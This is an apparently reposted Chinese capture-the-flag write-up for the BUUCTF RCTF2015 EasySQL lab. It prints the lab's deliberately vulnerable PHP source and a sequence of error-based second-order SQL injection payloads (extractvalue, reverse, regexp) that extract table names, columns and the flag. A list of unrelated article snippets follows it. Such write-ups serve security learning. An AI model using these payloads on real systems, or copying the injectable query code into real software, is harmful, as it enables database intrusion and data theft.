60,【1】BUUCF web [RCTF2015]EasySQL1

news2025/1/24 21:57:54

先查看源码

1,changepwd(修改密码)

<?php
// 开启会话,以便使用会话变量
session_start();

// 设置页面的内容类型为 HTML 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");


// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个表单,用于用户输入旧密码和新密码
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

// 检查是否提交了旧密码和新密码
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {
    // 将用户输入的旧密码进行 MD5 哈希处理
    $oldpass = md5($_POST['oldpass']);
    // 将用户输入的新密码进行 MD5 哈希处理
    $newpass = md5($_POST['newpass']);
    // 获取当前登录用户的用户名,存储在会话中
    $username = $_SESSION['username'];
    // 构建 SQL 语句,用于更新用户的密码,使用用户输入的旧密码验证用户身份
    $sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
    // var_dump($sql);
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询是否成功执行
    if ($query) {
        // 如果查询成功,退出脚本,可根据需要修改为更有意义的操作,如显示成功消息
        exit('');
    } else {
        // 如果查询失败,输出 MySQL 错误信息并终止脚本
        die(mysql_error());
    }
}
?>

此文件表明会对输入的用户名和密码进行MD5哈希处理

所以数据库中存储的是MD5哈希值

查询成功,此文件执行结束,如果失败,会输出MySQL错误信息

好像是报错注入

2,config(配置文件)

<?php
// 定义数据库主机地址和端口号
$dbhost = 'localhost:3306';
// 定义数据库用户名
$dbuser = 'root';
// 定义数据库密码,这里是空密码
$dbpass = '';
// 使用 mysql_connect 函数尝试连接到数据库服务器,传递主机、用户名和密码作为参数
$conn = mysql_connect($dbhost, $dbuser, $dbpass);


// 选择要使用的数据库,这里选择的是名为 'web_sqli' 的数据库
mysql_select_db('web_sqli');
// 设置字符集为 utf8,确保数据库操作使用 utf8 编码,避免乱码问题
mysql_query('set NAMES utf8');


// 检查是否开启了魔术引号,如果没有开启,则对 POST 和 GET 数据进行转义处理
if (!get_magic_quotes_gpc()) {
    // 遍历 POST 数据,对其中的每个元素进行转义处理
    foreach ($_POST as $key => $value) {
        // 使用 addslashes 函数对值进行转义,防止 SQL 注入
        $_POST[$key] = addslashes($value);
    }
    // 遍历 GET 数据,对其中的每个元素进行转义处理
    foreach ($_GET as $key => $value) {
        // 使用 addslashes 函数对值进行转义,防止 SQL 注入
        $_GET[$key] = addslashes($value);
    }
}
?>

此文件表明数据库用户名为root,密码是空密码

并且检查是否开启了魔术引号,未开启时对post,get数据进行转义处理

3,index(默认首页文件)

<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 且字符编码为 UTF-8
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 检查是否已经设置了会话中的用户名,这通常表示用户已经登录
if (isset($_SESSION['username'])) {
    // 输出欢迎信息,并显示用户的名字作为一个链接,指向 user.php 页面
    echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";
    // 输出一个无序列表的开始标签
    echo "<ul>";
    // 输出列表项,链接到 index.php 并传递不同的 title 参数
    echo "<li><a href='index.php?title=lcsg'>良辰诗歌</a></li>";
    echo "<li><a href='index.php?title=wyzb'>网友装逼</a></li>";
    echo "<li><a href='index.php?title=zrtbf'>赵日天不服</a></li>";
    // 输出无序列表的结束标签
    echo "</ul>";

    // 检查是否从 GET 请求中接收到了 title 参数
    if (isset($_GET['title'])) {
        // 获取 GET 请求中的 title 参数的值
        $title = $_GET['title'];
        // 构建一个 SQL 查询语句,根据 title 从 article 表中查询数据
        $sql = "select * from article where title='$title'";
        // 执行 SQL 查询
        $query = mysql_query($sql);
        // 检查查询是否成功执行
        if ($query) {
            // 获取查询结果的一行数据作为关联数组
            $row = mysql_fetch_array($query);
            // 输出查询结果中 content 列的数据
            echo $row['content'];
        }
    }
} else {
    // 如果用户没有登录,输出匿名用户的欢迎信息
    echo "Hi,Anonymous<br>";
    // 输出登录页面的链接
    echo "<a href='./login.php'>LOGIN</a><br>";
    // 输出注册页面的链接
    echo "<a href='./register.php'>REGISTER</a><br>";
}
?>

4,login(登录)

<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个 HTML 表单,用户可以在其中输入用户名和密码,表单提交到 login.php 页面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';


// 检查是否通过 POST 方法提交了用户名和密码
if (isset($_POST['username']) && isset($_POST['password'])) {
    // 获取用户输入的用户名
    $username = $_POST['username'];
    // 使用 MD5 对用户输入的密码进行哈希处理(这种方式已不安全,建议使用 password_hash 函数)
    $password = md5($_POST['password']);
    // 构建 SQL 查询语句,用于从 users 表中查找匹配的用户名和密码
    $sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询结果是否正好有一行(即找到一个匹配的用户)
    if (mysql_num_rows($query) == 1) {
        // 获取查询结果的一行数据
        $row = mysql_fetch_array($query);
        // 将用户名存储在会话中,用于后续页面判断用户是否已登录
        $_SESSION['username'] = $row['name'];
        // 重定向到 index.php 页面
        header('Location: index.php');
        // 终止脚本执行
        die();
    } else {
        // 如果未找到匹配用户,输出登录错误信息并终止脚本
        die('<br>login error');
    }
}
?>

看完这个源码后就看不到了

只能先进靶场了

进入靶场

尝试输入

无效字符串

不管输啥都说无效字符串,,,,,,

后来发现好像是Email出了问题

知道了一个用户名(猜测可以通过新注册一个账号来更改admin账户的密码)

以此来注册一个账号

登录

看到此页面

点击admin#后发现可以更改密码

那就先把admin账号的密码改了

改成123

登录看看

好打脸啊

一开始输admin'说无效字符串后就没输过'了

补上再输一遍

还是错的????????????????????

试试  "

好吧,也是对了,以后菜就多试

先都点进去看看

so,我是什么很贱的人吗,给我看这个

不过通过以上操作,得知存在二次注入

根据源码知道它会报错

而且一开始的操作知道它会过滤

50.【8】BUUCTF WEB HardSql-CSDN博客

参考这篇博客的语句

1,查询库名

admin"^extractvalue(1,concat(0x7e,(select(database()))))#

(#是以get方式提交时使用的,-- -和-- +是以post方式提交时使用的,%23在url处使用)

2,查询表名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#

???

尝试了一下,是把like过滤了

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

空白???

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

还是空白?????????

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

把库名带进去就报不出来,那我求库名的操作算什么????

算我。。

3,查询字段名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

4,查询字段内容

admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#
 

语义未尽

用right让后面的爆出来

admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#

要不我还是去四八(好不容易把括号一组一组对上)

他把right过滤了

admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

终于终于

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

???还好还好,快结束了

下午学姐刚好讲了正则表达式

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

手动拼一下

flag{090f0996-0d57-4a30-b0d9-92675185411f}

over

笔记

1,该用字典还得用字典

2,extractvalue

3,空格被过滤的题目第一遍就认真注意()的个数,千万别再多一个少一个了


 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2281646.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

我谈概率论与数理统计的知识体系

学习概率统计二十多年后&#xff0c;在廖老师的指导下&#xff0c;厘清了各章之间的关系。本来就是一条线两个分支&#xff0c;脉络很清晰。 分支一&#xff1a;从随机现象到样本空间到随机事件再到概率。 从随机事件到随机变量&#xff1a;为了进行定量的数学处理&#xff0…

基于海思soc的智能产品开发(视频的后续开发)

【 声明&#xff1a;版权所有&#xff0c;欢迎转载&#xff0c;请勿用于商业用途。 联系信箱&#xff1a;feixiaoxing 163.com】 前面我们讨论了camera&#xff0c;也讨论了屏幕驱动&#xff0c;这些都是基础的部分。关键是&#xff0c;我们拿到了这些视频数据之后&#xff0c;…

Python的进程和线程

ref 讲个故事先 这就像一个舞台&#xff08;CPU核心&#xff09;​&#xff0c; 要供多个剧组演出多个剧目&#xff08;进程&#xff09;​&#xff0c; 剧目中有多个各自独立的角色&#xff08;线程&#xff09;​&#xff0c;有跑龙套的&#xff0c;有主角&#xff0c;第一…

Xcode :给模拟器 创建桌面 快捷方式

给模拟器 创建 桌面 快捷方式&#xff1a; 1、找到xcode程序&#xff1b; 2、右击鼠标点击”显示包内容“菜单&#xff1b; 3、打开contents/developer/applications/ 找到Simulator工具图标&#xff0c;右击鼠标点击”制作替身“菜单&#xff1b; 4、将替身拖到桌面上。 …

STM32项目分享:智能厨房安全检测系统

目录 一、前言 二、项目简介 1.功能详解 2.主要器件 三、原理图设计 四、PCB硬件设计 PCB图 五、程序设计 六、实验效果 七、资料内容 项目分享 一、前言 项目成品图片&#xff1a; 哔哩哔哩视频链接&#xff1a; STM32智能厨房安全检测系统 &#xff08;资料分…

STM32_SD卡的SDIO通信_基础读写

本篇将使用CubeMXKeil, 创建一个SD卡读写的工程。 目录 一、SD卡要点速读 二、SDIO要点速读 三、SD卡座接线原理图 四、CubeMX新建工程 五、CubeMX 生成 SD卡的SDIO通信部分 六、Keil 编辑工程代码 七、实验效果 实现效果&#xff0c;如下图&#xff1a; 一、SD卡 速读…

ubuntu20.04安装使用direct_visual_lidar_calibration标定雷达和相机

官方链接GitHub - koide3/direct_visual_lidar_calibration: A toolbox for target-less LiDAR-camera calibration [ROS1/ROS2] 官方安装方式 Installation - direct_visual_lidar_calibration 安装依赖 sudo apt install libomp-dev libboost-all-dev libglm-dev libglfw…

华为EC6110T-海思Hi3798MV310_安卓9.0_通刷-强刷固件包

华为EC6110T-海思Hi3798MV310_安卓9.0_通刷-强刷固件包 刷机教程说明&#xff1a; 适用机型&#xff1a;华为EC6110-T、华为EC6110-U、华为EC6110-M 破解总分为两个部分&#xff1a;拆机短接破解&#xff08;保留IPTV&#xff09;和OTT卡刷&#xff08;不保留IPTV&#xff09…

Markdown Viewer 浏览器, vscode

使用VS Code插件打造完美的MarkDown编辑器&#xff08;插件安装、插件配置、markdown语法&#xff09;_vscode markdown-CSDN博客 右键 .md 文件&#xff0c;选择打开 方式 &#xff08;安装一些markdown的插件) vscode如何预览markdown文件 | Fromidea GitCode - 全球开发者…

09_异步加载_单例模式_常量类配置_不可销毁

1.首先在 资源加载服务层ResSvc.cs中添加 自定义异步加载函数 using UnityEngine; using UnityEngine.SceneManagement; //异步加载 命名空间 //功能 : 资源加载服务 public class ResSvc : MonoBehaviour{public void InitSvc(){Debug.Log("Init ResSvc...");}//自定…

概率密度函数(PDF)分布函数(CDF)——直方图累积直方图——直方图规定化的数学基础

对于连续型随机变量&#xff0c;分布函数&#xff08;Cumulative Distribution Function, CDF&#xff09;是概率密度函数&#xff08;Probability Density Function, PDF&#xff09;的变上限积分&#xff0c;概率密度函数是分布函数的导函数。 如果我们有一个连续型随机变量…

AIGC专栏18——EasyAnimateV5.1版本详解 应用Qwen2 VL作为文本编码器,支持轨迹控制与相机镜头控制

AIGC专栏18——EasyAnimateV5.1版本详解 应用Qwen2 VL作为文本编码器&#xff0c;支持轨迹控制与相机镜头控制 学习前言相关地址汇总源码下载地址HF测试链接MS测试链接 测试效果Image to VideoText to Video轨迹控制镜头控制 EasyAnimate详解技术储备Qwen2 VLStable Diffusion …

如何为64位LabVIEW配置正确的驱动程序

在安装 64位 LabVIEW 后&#xff0c;确保驱动程序正确配置是关键。如果您首先安装了 32位 LabVIEW 和相关驱动&#xff0c;然后安装了 64位 LabVIEW&#xff0c;需要确保为 64位 LabVIEW 安装和配置适当的驱动程序&#xff0c;才能正常访问硬件设备。以下是详细步骤&#xff1a…

详解:TCP/IP五层(四层)协议模型

一.五层&#xff08;四层&#xff09;模型 1.概念 TCP/IP协议模型分为五层&#xff1a;物理层、数据链路层、网络层、传输层和应用层。这五层每一层都依赖于其下一层给它提供的网络去实现需求。 1&#xff09;物理层&#xff1a;这是最基本的一层&#xff0c;也是最接近硬件…

头像生成小程序搭建(免费分享)

如下图为小程序页面的基本效果&#xff0c;下面将介绍该小程序的功能 页面template代码如下&#xff1a; <template><view class"avatar-containner"><block v-if"!showCropper"><image class"pageback" src"../../s…

Unity自学之旅05

Unity自学之旅05 Unity学习之旅⑤&#x1f4dd; AI基础与敌人行为&#x1f94a; AI导航理论知识&#xff08;基础&#xff09;开始实践 &#x1f383; 敌人游戏机制追踪玩家攻击玩家子弹碰撞完善游戏失败条件 &#x1f917; 总结归纳 Unity学习之旅⑤ &#x1f4dd; AI基础与敌…

【分布式日志篇】从工具选型到实战部署:全面解析日志采集与管理路径

网罗开发 &#xff08;小红书、快手、视频号同名&#xff09; 大家好&#xff0c;我是 展菲&#xff0c;目前在上市企业从事人工智能项目研发管理工作&#xff0c;平时热衷于分享各种编程领域的软硬技能知识以及前沿技术&#xff0c;包括iOS、前端、Harmony OS、Java、Python等…

电子应用设计方案102:智能家庭AI鱼缸系统设计

智能家庭 AI 鱼缸系统设计 一、引言 智能家庭 AI 鱼缸系统旨在为鱼类提供一个健康、舒适的生活环境&#xff0c;同时为用户提供便捷的管理和观赏体验。 二、系统概述 1. 系统目标 - 自动维持水质稳定&#xff0c;包括水温、酸碱度、硬度和溶氧量等关键指标。 - 智能投食&…

【安当产品应用案例100集】034-安当KSP支持密评中存储数据的机密性和完整性

安当KSP是一套获得国密证书的专业的密钥管理系统。KSP的系统功能扩展图示如下&#xff1a; 我们知道商用密码应用安全性评估中&#xff0c;需要确保存储的数据不被篡改、删除或者破坏&#xff0c;必须采用合适的安全方案来确保存储数据的机密性和完整性。KSP能否满足这个需求呢…

linux系统下的磁盘扩容

背景&#xff1a;之前通过虚拟机装linux时硬盘空间设置的不够用&#xff0c;所以需要再加点容量。 1、首先通过虚拟机来扩展硬盘 注意&#xff1a;需要关闭linux系统&#xff1b;需要删除之前的快照&#xff1b; 我原来为27G&#xff0c;现在增加到了40G&#xff0c;如下图: …